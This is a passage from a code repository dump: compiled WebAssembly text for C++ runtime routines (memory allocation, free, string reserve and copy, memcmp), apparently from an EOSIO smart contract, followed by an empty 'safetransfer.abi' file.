$3) 2974 | (i32.const 16) 2975 | ) 2976 | ) 2977 | ) 2978 | ) 2979 | (set_local $2 2980 | (i32.add 2981 | (get_local $2) 2982 | (i32.const 8192) 2983 | ) 2984 | ) 2985 | (br_if $label$3 2986 | (i32.lt_s 2987 | (get_local $7) 2988 | (i32.const 0) 2989 | ) 2990 | ) 2991 | (set_local $6 2992 | (get_local $3) 2993 | ) 2994 | (block $label$7 2995 | (br_if $label$7 2996 | (i32.le_u 2997 | (tee_local $8 2998 | (i32.shr_u 2999 | (i32.add 3000 | (i32.add 3001 | (tee_local $5 3002 | (i32.and 3003 | (i32.add 3004 | (get_local $7) 3005 | (i32.const 7) 3006 | ) 3007 | (i32.const -8) 3008 | ) 3009 | ) 3010 | (get_local $3) 3011 | ) 3012 | (i32.const 65535) 3013 | ) 3014 | (i32.const 16) 3015 | ) 3016 | ) 3017 | (tee_local $4 3018 | (current_memory) 3019 | ) 3020 | ) 3021 | ) 3022 | (drop 3023 | (grow_memory 3024 | (i32.sub 3025 | (get_local $8) 3026 | (get_local $4) 3027 | ) 3028 | ) 3029 | ) 3030 | (br_if $label$3 3031 | (i32.ne 3032 | (get_local $8) 3033 | (current_memory) 3034 | ) 3035 | ) 3036 | (set_local $6 3037 | (i32.load offset=8744 3038 | (i32.const 0) 3039 | ) 3040 | ) 3041 | ) 3042 | (i32.store offset=8744 3043 | (i32.const 0) 3044 | (i32.add 3045 | (get_local $6) 3046 | (get_local $5) 3047 | ) 3048 | ) 3049 | (br_if $label$3 3050 | (i32.eq 3051 | (get_local $3) 3052 | (i32.const -1) 3053 | ) 3054 | ) 3055 | (br_if $label$2 3056 | (i32.eq 3057 | (i32.add 3058 | (tee_local $6 3059 | (i32.load 3060 | (i32.add 3061 | (tee_local $1 3062 | (i32.add 3063 | (get_local $0) 3064 | (i32.mul 3065 | (get_local $1) 3066 | (i32.const 12) 3067 | ) 3068 | ) 3069 | ) 3070 | (i32.const 8196) 3071 | ) 3072 | ) 3073 | ) 3074 | (tee_local $8 3075 | (i32.load 3076 | (get_local $2) 3077 | ) 3078 | ) 3079 | ) 3080 | (get_local $3) 3081 | ) 3082 | ) 3083 | (block $label$8 3084 | (br_if $label$8 3085 | (i32.eq 3086 | (get_local $8) 3087 | (tee_local $1 3088 | (i32.load 3089 | (tee_local $5 3090 | (i32.add 3091 | (get_local $1) 3092 | (i32.const 8200) 3093 | ) 3094 | ) 3095 | ) 3096 | ) 3097 | ) 3098 | ) 3099 | (i32.store 3100 | (tee_local $6 3101 | (i32.add 3102 | (get_local $6) 3103 | (get_local $1) 3104 | ) 3105 | ) 3106 | (i32.or 3107 | (i32.and 3108 | (i32.load 3109 | (get_local $6) 3110 | ) 3111 | (i32.const -2147483648) 3112 | ) 3113 | (i32.add 3114 | (i32.sub 3115 | (i32.const -4) 3116 | (get_local $1) 3117 | ) 3118 | (get_local $8) 3119 | ) 3120 | ) 3121 | ) 3122 | (i32.store 3123 | (get_local $5) 3124 | (i32.load 3125 | (get_local $2) 3126 | ) 3127 | ) 3128 | (i32.store 3129 | (get_local $6) 3130 | (i32.and 3131 | (i32.load 3132 | (get_local $6) 3133 | ) 3134 | (i32.const 2147483647) 3135 | ) 3136 | ) 3137 | ) 3138 | (i32.store 3139 | (tee_local $2 3140 | (i32.add 3141 | (get_local $0) 3142 | (i32.const 8388) 3143 | ) 3144 | ) 3145 | (tee_local $2 3146 | (i32.add 3147 | (i32.load 3148 | (get_local $2) 3149 | ) 3150 | (i32.const 1) 3151 | ) 3152 | ) 3153 | ) 3154 | (i32.store 3155 | (i32.add 3156 | (tee_local $0 3157 | (i32.add 3158 | (get_local $0) 3159 | (i32.mul 3160 | (get_local $2) 3161 | (i32.const 12) 3162 | ) 3163 | ) 3164 | ) 3165 | (i32.const 8196) 3166 | ) 3167 | (get_local $3) 3168 | ) 3169 | (i32.store 3170 | (tee_local $8 3171 | (i32.add 3172 | (get_local $0) 3173 | (i32.const 8192) 3174 | ) 3175 | ) 3176 | (get_local $7) 3177 | ) 3178 | ) 3179 | (return 3180 | (get_local $8) 3181 | ) 3182 | ) 3183 | (block $label$9 3184 | (br_if $label$9 3185 | (i32.eq 3186 | (tee_local $8 3187 | (i32.load 3188 | (get_local $2) 3189 | ) 3190 | ) 3191 | (tee_local $7 3192 | (i32.load 3193 | (tee_local $1 3194 | (i32.add 3195 | (tee_local $3 3196 | (i32.add 3197 | (get_local $0) 3198 | (i32.mul 3199 | (get_local $1) 3200 | (i32.const 12) 3201 | ) 3202 | ) 3203 | ) 3204 | (i32.const 8200) 3205 | ) 3206 | ) 3207 | ) 3208 | ) 3209 | ) 3210 | ) 3211 | (i32.store 3212 | (tee_local $3 3213 | (i32.add 3214 | (i32.load 3215 | (i32.add 3216 | (get_local $3) 3217 | (i32.const 8196) 3218 | ) 3219 | ) 3220 | (get_local $7) 3221 | ) 3222 | ) 3223 | (i32.or 3224 | (i32.and 3225 | (i32.load 3226 | (get_local $3) 3227 | ) 3228 | (i32.const -2147483648) 3229 | ) 3230 | (i32.add 3231 | (i32.sub 3232 | (i32.const -4) 3233 | (get_local $7) 3234 | ) 3235 | (get_local $8) 3236 | ) 3237 | ) 3238 | ) 3239 | (i32.store 3240 | (get_local $1) 3241 | (i32.load 3242 | (get_local $2) 3243 | ) 3244 | ) 3245 | (i32.store 3246 | (get_local $3) 3247 | (i32.and 3248 | (i32.load 3249 | (get_local $3) 3250 | ) 3251 | (i32.const 2147483647) 3252 | ) 3253 | ) 3254 | ) 3255 | (i32.store offset=8384 3256 | (get_local $0) 3257 | (tee_local $3 3258 | (i32.add 3259 | (i32.load 3260 | (tee_local $7 3261 | (i32.add 3262 | (get_local $0) 3263 | (i32.const 8388) 3264 | ) 3265 | ) 3266 | ) 3267 | (i32.const 1) 3268 | ) 3269 | ) 3270 | ) 3271 | (i32.store 3272 | (get_local $7) 3273 | (get_local $3) 3274 | ) 3275 | (return 3276 | (i32.const 0) 3277 | ) 3278 | ) 3279 | (i32.store 3280 | (get_local $2) 3281 | (i32.add 3282 | (get_local $8) 3283 | (get_local $7) 3284 | ) 3285 | ) 3286 | (get_local $2) 3287 | ) 3288 | (func $free (param $0 i32) 3289 | (local $1 i32) 3290 | (local $2 i32) 3291 | (local $3 i32) 3292 | (block $label$0 3293 | (block $label$1 3294 | (br_if $label$1 3295 | (i32.eqz 3296 | (get_local $0) 3297 | ) 3298 | ) 3299 | (br_if $label$1 3300 | (i32.lt_s 3301 | (tee_local $2 3302 | (i32.load offset=8640 3303 | (i32.const 0) 3304 | ) 3305 | ) 3306 | (i32.const 1) 3307 | ) 3308 | ) 3309 | (set_local $3 3310 | (i32.const 8448) 3311 | ) 3312 | (set_local $1 3313 | (i32.add 3314 | (i32.mul 3315 | (get_local $2) 3316 | (i32.const 12) 3317 | ) 3318 | (i32.const 8448) 3319 | ) 3320 | ) 3321 | (loop $label$2 3322 | (br_if $label$1 3323 | (i32.eqz 3324 | (tee_local $2 3325 | (i32.load 3326 | (i32.add 3327 | (get_local $3) 3328 | (i32.const 4) 3329 | ) 3330 | ) 3331 | ) 3332 | ) 3333 | ) 3334 | (block $label$3 3335 | (br_if $label$3 3336 | (i32.gt_u 3337 | (i32.add 3338 | (get_local $2) 3339 | (i32.const 4) 3340 | ) 3341 | (get_local $0) 3342 | ) 3343 | ) 3344 | (br_if $label$0 3345 | (i32.gt_u 3346 | (i32.add 3347 | (get_local $2) 3348 | (i32.load 3349 | (get_local $3) 3350 | ) 3351 | ) 3352 | (get_local $0) 3353 | ) 3354 | ) 3355 | ) 3356 | (br_if $label$2 3357 | (i32.lt_u 3358 | (tee_local $3 3359 | (i32.add 3360 | (get_local $3) 3361 | (i32.const 12) 3362 | ) 3363 | ) 3364 | (get_local $1) 3365 | ) 3366 | ) 3367 | ) 3368 | ) 3369 | (return) 3370 | ) 3371 | (i32.store 3372 | (tee_local $3 3373 | (i32.add 3374 | (get_local $0) 3375 | (i32.const -4) 3376 | ) 3377 | ) 3378 | (i32.and 3379 | (i32.load 3380 | (get_local $3) 3381 | ) 3382 | (i32.const 2147483647) 3383 | ) 3384 | ) 3385 | ) 3386 | (func $_Znwj (param $0 i32) (result i32) 3387 | (local $1 i32) 3388 | (local $2 i32) 3389 | (block $label$0 3390 | (br_if $label$0 3391 | (tee_local $0 3392 | (call $malloc 3393 | (tee_local $1 3394 | (select 3395 | (get_local $0) 3396 | (i32.const 1) 3397 | (get_local $0) 3398 | ) 3399 | ) 3400 | ) 3401 | ) 3402 | ) 3403 | (loop $label$1 3404 | (set_local $0 3405 | (i32.const 0) 3406 | ) 3407 | (br_if $label$0 3408 | (i32.eqz 3409 | (tee_local $2 3410 | (i32.load offset=8748 3411 | (i32.const 0) 3412 | ) 3413 | ) 3414 | ) 3415 | ) 3416 | (call_indirect (type $FUNCSIG$v) 3417 | (get_local $2) 3418 | ) 3419 | (br_if $label$1 3420 | (i32.eqz 3421 | (tee_local $0 3422 | (call $malloc 3423 | (get_local $1) 3424 | ) 3425 | ) 3426 | ) 3427 | ) 3428 | ) 3429 | ) 3430 | (get_local $0) 3431 | ) 3432 | (func $_ZdlPv (param $0 i32) 3433 | (block $label$0 3434 | (br_if $label$0 3435 | (i32.eqz 3436 | (get_local $0) 3437 | ) 3438 | ) 3439 | (call $free 3440 | (get_local $0) 3441 | ) 3442 | ) 3443 | ) 3444 | (func $_ZNKSt3__121__basic_string_commonILb1EE20__throw_length_errorEv (param $0 i32) 3445 | (call $abort) 3446 | (unreachable) 3447 | ) 3448 | (func $_ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7reserveEj (param $0 i32) (param $1 i32) 3449 | (local $2 i32) 3450 | (local $3 i32) 3451 | (local $4 i32) 3452 | (local $5 i32) 3453 | (local $6 i32) 3454 | (local $7 i32) 3455 | (block $label$0 3456 | (br_if $label$0 3457 | (i32.ge_u 3458 | (get_local $1) 3459 | (i32.const -16) 3460 | ) 3461 | ) 3462 | (set_local $2 3463 | (i32.const 10) 3464 | ) 3465 | (block $label$1 3466 | (br_if $label$1 3467 | (i32.eqz 3468 | (i32.and 3469 | (tee_local $5 3470 | (i32.load8_u 3471 | (get_local $0) 3472 | ) 3473 | ) 3474 | (i32.const 1) 3475 | ) 3476 | ) 3477 | ) 3478 | (set_local $2 3479 | (i32.add 3480 | (i32.and 3481 | (tee_local $5 3482 | (i32.load 3483 | (get_local $0) 3484 | ) 3485 | ) 3486 | (i32.const -2) 3487 | ) 3488 | (i32.const -1) 3489 | ) 3490 | ) 3491 | ) 3492 | (block $label$2 3493 | (block $label$3 3494 | (br_if $label$3 3495 | (i32.and 3496 | (get_local $5) 3497 | (i32.const 1) 3498 | ) 3499 | ) 3500 | (set_local $3 3501 | (i32.shr_u 3502 | (i32.and 3503 | (get_local $5) 3504 | (i32.const 254) 3505 | ) 3506 | (i32.const 1) 3507 | ) 3508 | ) 3509 | (br $label$2) 3510 | ) 3511 | (set_local $3 3512 | (i32.load offset=4 3513 | (get_local $0) 3514 | ) 3515 | ) 3516 | ) 3517 | (set_local $4 3518 | (i32.const 10) 3519 | ) 3520 | (block $label$4 3521 | (br_if $label$4 3522 | (i32.lt_u 3523 | (tee_local $1 3524 | (select 3525 | (get_local $3) 3526 | (get_local $1) 3527 | (i32.gt_u 3528 | (get_local $3) 3529 | (get_local $1) 3530 | ) 3531 | ) 3532 | ) 3533 | (i32.const 11) 3534 | ) 3535 | ) 3536 | (set_local $4 3537 | (i32.add 3538 | (i32.and 3539 | (i32.add 3540 | (get_local $1) 3541 | (i32.const 16) 3542 | ) 3543 | (i32.const -16) 3544 | ) 3545 | (i32.const -1) 3546 | ) 3547 | ) 3548 | ) 3549 | (block $label$5 3550 | (br_if $label$5 3551 | (i32.eq 3552 | (get_local $4) 3553 | (get_local $2) 3554 | ) 3555 | ) 3556 | (block $label$6 3557 | (block $label$7 3558 | (br_if $label$7 3559 | (i32.ne 3560 | (get_local $4) 3561 | (i32.const 10) 3562 | ) 3563 | ) 3564 | (set_local $6 3565 | (i32.const 1) 3566 | ) 3567 | (set_local $1 3568 | (i32.add 3569 | (get_local $0) 3570 | (i32.const 1) 3571 | ) 3572 | ) 3573 | (set_local $2 3574 | (i32.load offset=8 3575 | (get_local $0) 3576 | ) 3577 | ) 3578 | (set_local $7 3579 | (i32.const 0) 3580 | ) 3581 | (br $label$6) 3582 | ) 3583 | (set_local $1 3584 | (call $_Znwj 3585 | (i32.add 3586 | (get_local $4) 3587 | (i32.const 1) 3588 | ) 3589 | ) 3590 | ) 3591 | (block $label$8 3592 | (br_if $label$8 3593 | (i32.gt_u 3594 | (get_local $4) 3595 | (get_local $2) 3596 | ) 3597 | ) 3598 | (br_if $label$5 3599 | (i32.eqz 3600 | (get_local $1) 3601 | ) 3602 | ) 3603 | ) 3604 | (block $label$9 3605 | (br_if $label$9 3606 | (i32.and 3607 | (tee_local $5 3608 | (i32.load8_u 3609 | (get_local $0) 3610 | ) 3611 | ) 3612 | (i32.const 1) 3613 | ) 3614 | ) 3615 | (set_local $7 3616 | (i32.const 1) 3617 | ) 3618 | (set_local $2 3619 | (i32.add 3620 | (get_local $0) 3621 | (i32.const 1) 3622 | ) 3623 | ) 3624 | (set_local $6 3625 | (i32.const 0) 3626 | ) 3627 | (br $label$6) 3628 | ) 3629 | (set_local $2 3630 | (i32.load offset=8 3631 | (get_local $0) 3632 | ) 3633 | ) 3634 | (set_local $6 3635 | (i32.const 1) 3636 | ) 3637 | (set_local $7 3638 | (i32.const 1) 3639 | ) 3640 | ) 3641 | (block $label$10 3642 | (block $label$11 3643 | (br_if $label$11 3644 | (i32.and 3645 | (get_local $5) 3646 | (i32.const 1) 3647 | ) 3648 | ) 3649 | (set_local $5 3650 | (i32.shr_u 3651 | (i32.and 3652 | (get_local $5) 3653 | (i32.const 254) 3654 | ) 3655 | (i32.const 1) 3656 | ) 3657 | ) 3658 | (br $label$10) 3659 | ) 3660 | (set_local $5 3661 | (i32.load offset=4 3662 | (get_local $0) 3663 | ) 3664 | ) 3665 | ) 3666 | (block $label$12 3667 | (br_if $label$12 3668 | (i32.eqz 3669 | (tee_local $5 3670 | (i32.add 3671 | (get_local $5) 3672 | (i32.const 1) 3673 | ) 3674 | ) 3675 | ) 3676 | ) 3677 | (drop 3678 | (call $memcpy 3679 | (get_local $1) 3680 | (get_local $2) 3681 | (get_local $5) 3682 | ) 3683 | ) 3684 | ) 3685 | (block $label$13 3686 | (br_if $label$13 3687 | (i32.eqz 3688 | (get_local $6) 3689 | ) 3690 | ) 3691 | (call $_ZdlPv 3692 | (get_local $2) 3693 | ) 3694 | ) 3695 | (block $label$14 3696 | (br_if $label$14 3697 | (i32.eqz 3698 | (get_local $7) 3699 | ) 3700 | ) 3701 | (i32.store offset=4 3702 | (get_local $0) 3703 | (get_local $3) 3704 | ) 3705 | (i32.store offset=8 3706 | (get_local $0) 3707 | (get_local $1) 3708 | ) 3709 | (i32.store 3710 | (get_local $0) 3711 | (i32.or 3712 | (i32.add 3713 | (get_local $4) 3714 | (i32.const 1) 3715 | ) 3716 | (i32.const 1) 3717 | ) 3718 | ) 3719 | (return) 3720 | ) 3721 | (i32.store8 3722 | (get_local $0) 3723 | (i32.shl 3724 | (get_local $3) 3725 | (i32.const 1) 3726 | ) 3727 | ) 3728 | ) 3729 | (return) 3730 | ) 3731 | (call $abort) 3732 | (unreachable) 3733 | ) 3734 | (func $_ZNKSt3__120__vector_base_commonILb1EE20__throw_length_errorEv (param $0 i32) 3735 | (call $abort) 3736 | (unreachable) 3737 | ) 3738 | (func $_ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEC2ERKS5_ (param $0 i32) (param $1 i32) (result i32) 3739 | (local $2 i32) 3740 | (local $3 i32) 3741 | (local $4 i32) 3742 | (i64.store align=4 3743 | (get_local $0) 3744 | (i64.const 0) 3745 | ) 3746 | (i32.store 3747 | (tee_local $3 3748 | (i32.add 3749 | (get_local $0) 3750 | (i32.const 8) 3751 | ) 3752 | ) 3753 | (i32.const 0) 3754 | ) 3755 | (block $label$0 3756 | (br_if $label$0 3757 | (i32.and 3758 | (i32.load8_u 3759 | (get_local $1) 3760 | ) 3761 | (i32.const 1) 3762 | ) 3763 | ) 3764 | (i64.store align=4 3765 | (get_local $0) 3766 | (i64.load align=4 3767 | (get_local $1) 3768 | ) 3769 | ) 3770 | (i32.store 3771 | (get_local $3) 3772 | (i32.load 3773 | (i32.add 3774 | (get_local $1) 3775 | (i32.const 8) 3776 | ) 3777 | ) 3778 | ) 3779 | (return 3780 | (get_local $0) 3781 | ) 3782 | ) 3783 | (block $label$1 3784 | (br_if $label$1 3785 | (i32.ge_u 3786 | (tee_local $3 3787 | (i32.load offset=4 3788 | (get_local $1) 3789 | ) 3790 | ) 3791 | (i32.const -16) 3792 | ) 3793 | ) 3794 | (set_local $2 3795 | (i32.load offset=8 3796 | (get_local $1) 3797 | ) 3798 | ) 3799 | (block $label$2 3800 | (block $label$3 3801 | (block $label$4 3802 | (br_if $label$4 3803 | (i32.ge_u 3804 | (get_local $3) 3805 | (i32.const 11) 3806 | ) 3807 | ) 3808 | (i32.store8 3809 | (get_local $0) 3810 | (i32.shl 3811 | (get_local $3) 3812 | (i32.const 1) 3813 | ) 3814 | ) 3815 | (set_local $1 3816 | (i32.add 3817 | (get_local $0) 3818 | (i32.const 1) 3819 | ) 3820 | ) 3821 | (br_if $label$3 3822 | (get_local $3) 3823 | ) 3824 | (br $label$2) 3825 | ) 3826 | (set_local $1 3827 | (call $_Znwj 3828 | (tee_local $4 3829 | (i32.and 3830 | (i32.add 3831 | (get_local $3) 3832 | (i32.const 16) 3833 | ) 3834 | (i32.const -16) 3835 | ) 3836 | ) 3837 | ) 3838 | ) 3839 | (i32.store 3840 | (get_local $0) 3841 | (i32.or 3842 | (get_local $4) 3843 | (i32.const 1) 3844 | ) 3845 | ) 3846 | (i32.store offset=8 3847 | (get_local $0) 3848 | (get_local $1) 3849 | ) 3850 | (i32.store offset=4 3851 | (get_local $0) 3852 | (get_local $3) 3853 | ) 3854 | ) 3855 | (drop 3856 | (call $memcpy 3857 | (get_local $1) 3858 | (get_local $2) 3859 | (get_local $3) 3860 | ) 3861 | ) 3862 | ) 3863 | (i32.store8 3864 | (i32.add 3865 | (get_local $1) 3866 | (get_local $3) 3867 | ) 3868 | (i32.const 0) 3869 | ) 3870 | (return 3871 | (get_local $0) 3872 | ) 3873 | ) 3874 | (call $abort) 3875 | (unreachable) 3876 | ) 3877 | (func $memcmp (param $0 i32) (param $1 i32) (param $2 i32) (result i32) 3878 | (local $3 i32) 3879 | (local $4 i32) 3880 | (local $5 i32) 3881 | (set_local $5 3882 | (i32.const 0) 3883 | ) 3884 | (block $label$0 3885 | (br_if $label$0 3886 | (i32.eqz 3887 | (get_local $2) 3888 | ) 3889 | ) 3890 | (block $label$1 3891 | (loop $label$2 3892 | (br_if $label$1 3893 | (i32.ne 3894 | (tee_local $3 3895 | (i32.load8_u 3896 | (get_local $0) 3897 | ) 3898 | ) 3899 | (tee_local $4 3900 | (i32.load8_u 3901 | (get_local $1) 3902 | ) 3903 | ) 3904 | ) 3905 | ) 3906 | (set_local $1 3907 | (i32.add 3908 | (get_local $1) 3909 | (i32.const 1) 3910 | ) 3911 | ) 3912 | (set_local $0 3913 | (i32.add 3914 | (get_local $0) 3915 | (i32.const 1) 3916 | ) 3917 | ) 3918 | (br_if $label$2 3919 | (tee_local $2 3920 | (i32.add 3921 | (get_local $2) 3922 | (i32.const -1) 3923 | ) 3924 | ) 3925 | ) 3926 | (br $label$0) 3927 | ) 3928 | ) 3929 | (set_local $5 3930 | (i32.sub 3931 | (get_local $3) 3932 | (get_local $4) 3933 | ) 3934 | ) 3935 | ) 3936 | (get_local $5) 3937 | ) 3938 | (func $__wasm_nullptr (type $FUNCSIG$v) 3939 | (unreachable) 3940 | ) 3941 | ) 3942 | -------------------------------------------------------------------------------- /safetransfer.abi: -------------------------------------------------------------------------------- 1 | { 2 | "version": "eosio::abi/1.0", 3 | "types": [], 4 | "structs": [], 5 | "actions": [], 6 | "tables": [], 7 | "ricardian_clauses": [], 8 | "error_messages": [], 9 | "abi_extensions": [] 10 | } --------------------------------------------------------------------------------